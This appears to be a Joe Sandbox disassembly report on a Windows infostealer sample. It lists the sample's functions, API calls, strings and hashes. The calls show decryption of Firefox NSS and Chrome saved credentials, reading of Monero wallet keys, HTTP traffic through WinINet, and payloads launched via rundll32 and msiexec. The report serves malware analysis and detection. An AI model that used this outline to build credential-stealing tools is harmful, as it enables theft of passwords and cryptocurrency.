Function 0057C990 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 0057C9A5

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Part of subcall function 0058A920: lstrcpy.KERNEL32(00000000,?), ref: 0058A972
Part of subcall function 0058A920: lstrcat.KERNEL32(00000000), ref: 0058A982

Part of subcall function 0058A8A0: lstrcpy.KERNEL32(?,00590E17), ref: 0058A905

Part of subcall function 0058A9B0: lstrlen.KERNEL32(?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 0058A9C5
Part of subcall function 0058A9B0: lstrcpy.KERNEL32(00000000), ref: 0058AA04
Part of subcall function 0058A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0058AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0130E0A0,00000000,?,0059144C,00000000,?,?), ref: 0057CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0057CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0057CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0057CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0057CAD9
StrStrA.SHLWAPI(?,0130E118,00590B52), ref: 0057CAF7
StrStrA.SHLWAPI(00000000,0130E148), ref: 0057CB1E
StrStrA.SHLWAPI(?,0130D908,00000000,?,00591458,00000000,?,00000000,00000000,?,01309190,00000000,?,00591454,00000000,?), ref: 0057CCA2
StrStrA.SHLWAPI(00000000,0130D7A8), ref: 0057CCB9

Part of subcall function 0057C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0057C871
Part of subcall function 0057C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0057C87C
Part of subcall function 0057C820: PK11_GetInternalKeySlot.NSS3 ref: 0057C88A
Part of subcall function 0057C820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0057C8A5
Part of subcall function 0057C820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0057C8EB
Part of subcall function 0057C820: PK11_FreeSlot.NSS3(?), ref: 0057C961

StrStrA.SHLWAPI(?,0130D7A8,00000000,?,0059145C,00000000,?,00000000,01309210), ref: 0057CD5A
StrStrA.SHLWAPI(00000000,013094F0), ref: 0057CD71

Part of subcall function 0057C820: lstrcat.KERNEL32(?,00590B46), ref: 0057C943
Part of subcall function 0057C820: lstrcat.KERNEL32(?,00590B47), ref: 0057C957
Part of subcall function 0057C820: lstrcat.KERNEL32(?,00590B4E), ref: 0057C978

lstrlen.KERNEL32(00000000), ref: 0057CE44
CloseHandle.KERNEL32(00000000), ref: 0057CE9C
NSS_Shutdown.NSS3 ref: 0057CEAA

Strings

, xrefs: 0057C9C6

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeString
String ID:
API String ID: 1052888304-3916222277
Opcode ID: 5fdae594dde0e10becdf9b1f7c91caead87e8a52cb1bf0f455ebe208ad7fc985
Instruction ID: 8124cd208feab880b0131d7725db43aaa7c67774f451bfad384363465e093e1c
Opcode Fuzzy Hash: 5fdae594dde0e10becdf9b1f7c91caead87e8a52cb1bf0f455ebe208ad7fc985
Instruction Fuzzy Hash: EEE10071900109ABEB14FBA4DC99FEE7B78BF54300F40415AF50676191EF386A4ACF66

Function 00589010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0058906C

Strings

image/jpeg, xrefs: 00589136

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: f899466927a3c4c35b2022888e1e767008ce5c17e9914600d19e16677ce6b01e
Instruction ID: e9fd1f3b6ce92d88b7c8cea08f17488c3d2ec01b50bfe3cdfb744c628653b358
Opcode Fuzzy Hash: f899466927a3c4c35b2022888e1e767008ce5c17e9914600d19e16677ce6b01e
Instruction Fuzzy Hash: BB71DF75910209ABDB04EFE4DC89FEDBBB9BF48700F148618F515A7290DB38A905CB65

Function 005817A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 005817C5
ExitProcess.KERNEL32 ref: 005817D1

Strings

block, xrefs: 005817B7

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 83e8a7e05284c2ec62ec1d3e0ba03dee321f6826662e7e867319f610d036ca4d
Instruction ID: 2314bed5a84e42c9b234a2a31e7280c73bced494b2d78db38f2240df9592998c
Opcode Fuzzy Hash: 83e8a7e05284c2ec62ec1d3e0ba03dee321f6826662e7e867319f610d036ca4d
Instruction Fuzzy Hash: 9F517FB4A04209EFDB04EFA4D954FBE7BB9BF44704F109449E806B7280D774E952CB6A

Function 00582E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

ShellExecuteEx.SHELL32(0000003C), ref: 005831C5
ShellExecuteEx.SHELL32(0000003C), ref: 0058335D
ShellExecuteEx.SHELL32(0000003C), ref: 005834EA

Strings

C:\Windows\system32\msiexec.exe, xrefs: 005834BF
C:\Windows\system32\rundll32.exe, xrefs: 00583332
.dll, xrefs: 005831E5
/i ", xrefs: 005833E4
"" , xrefs: 0058309A
.msi, xrefs: 00583398
<, xrefs: 00583490
/passive, xrefs: 0058345B

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: f6452f0266c0aee53de65e6142224ecf6216a70245d670c4cee2552b66c87f42
Instruction ID: b30e086fe26776f402375458064a787c161f833072184abe9a56dd89ed569a31
Opcode Fuzzy Hash: f6452f0266c0aee53de65e6142224ecf6216a70245d670c4cee2552b66c87f42
Instruction Fuzzy Hash: 5C1247719001099AEB15FBA0DC9AFEDBB38BF54300F50455AF90676191EF382B4ACF62

Function 005852C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0058A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0058A7E6

Part of subcall function 00576280: InternetOpenA.WININET(00590DFE,00000001,00000000,00000000,00000000), ref: 005762E1
Part of subcall function 00576280: StrCmpCA.SHLWAPI(?,0130ED90), ref: 00576303
Part of subcall function 00576280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00576335
Part of subcall function 00576280: HttpOpenRequestA.WININET(00000000,GET,?,0130E870,00000000,00000000,00400100,00000000), ref: 00576385
Part of subcall function 00576280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 005763BF
Part of subcall function 00576280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005763D1

Part of subcall function 0058A8A0: lstrcpy.KERNEL32(?,00590E17), ref: 0058A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00585318
lstrlen.KERNEL32(00000000), ref: 0058532F

Part of subcall function 00588E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00588E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00585364
lstrlen.KERNEL32(00000000), ref: 00585383
lstrlen.KERNEL32(00000000), ref: 005853AE

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Strings

ERROR, xrefs: 0058546F
ERROR, xrefs: 005854A9
ERROR, xrefs: 0058530A
ERROR, xrefs: 00585432
ERROR, xrefs: 005853B9

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 33ded7fa47270cd2c403deeae65c3ff68383f8f7d7677b2a7b365e06fd428dbb
Instruction ID: a591ebed2a14066868f9b9b3e9ac5282a33f2f845c610ef1e3bc409508fa7e01
Opcode Fuzzy Hash: 33ded7fa47270cd2c403deeae65c3ff68383f8f7d7677b2a7b365e06fd428dbb
Instruction Fuzzy Hash: 2651EF3091014A9BEB18FF64D99AAED7B79BF90300F504015FC0A76591EF386B45DF62

Function 005812D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: a65b9a26c15e3b18cd1625fd08d1b523f83318a1bbc9412bbbc7082237e5d887
Instruction ID: a411e6259b580d5a961687d677ca245de5e4382770bae5dfc7fada5de1bc5ebc
Opcode Fuzzy Hash: a65b9a26c15e3b18cd1625fd08d1b523f83318a1bbc9412bbbc7082237e5d887
Instruction Fuzzy Hash: 1FC175B5900219ABCB14FF60DC8DFEA7778FB94304F004599E90AB7141EA74AA85CFA5

Function 00584280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00588DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00588E0B

lstrcat.KERNEL32(?,00000000), ref: 005842EC
lstrcat.KERNEL32(?,0130E1C0), ref: 0058430B
lstrcat.KERNEL32(?,?), ref: 0058431F
lstrcat.KERNEL32(?,0130E040), ref: 00584333

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Part of subcall function 00588D90: GetFileAttributesA.KERNEL32(00000000,?,00571B54,?,?,0059564C,?,?,00590E1F), ref: 00588D9F

Part of subcall function 00579CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00579D39

Part of subcall function 005799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005799EC
Part of subcall function 005799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00579A11
Part of subcall function 005799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00579A31
Part of subcall function 005799C0: ReadFile.KERNEL32(000000FF,?,00000000,0057148F,00000000), ref: 00579A5A
Part of subcall function 005799C0: LocalFree.KERNEL32(0057148F), ref: 00579A90
Part of subcall function 005799C0: CloseHandle.KERNEL32(000000FF), ref: 00579A9A

Part of subcall function 005893C0: GlobalAlloc.KERNEL32(00000000,005843DD,005843DD), ref: 005893D3

StrStrA.SHLWAPI(?,0130E4A8), ref: 005843F3
GlobalFree.KERNEL32(?), ref: 00584512

Part of subcall function 00579AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NW,00000000,00000000), ref: 00579AEF
Part of subcall function 00579AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00574EEE,00000000,?), ref: 00579B01
Part of subcall function 00579AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NW,00000000,00000000), ref: 00579B2A
Part of subcall function 00579AC0: LocalFree.KERNEL32(?,?,?,?,00574EEE,00000000,?), ref: 00579B3F

lstrcat.KERNEL32(?,00000000), ref: 005844A3
StrCmpCA.SHLWAPI(?,005908D1), ref: 005844C0
lstrcat.KERNEL32(00000000,00000000), ref: 005844D2
lstrcat.KERNEL32(00000000,?), ref: 005844E5
lstrcat.KERNEL32(00000000,00590FB8), ref: 005844F4

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
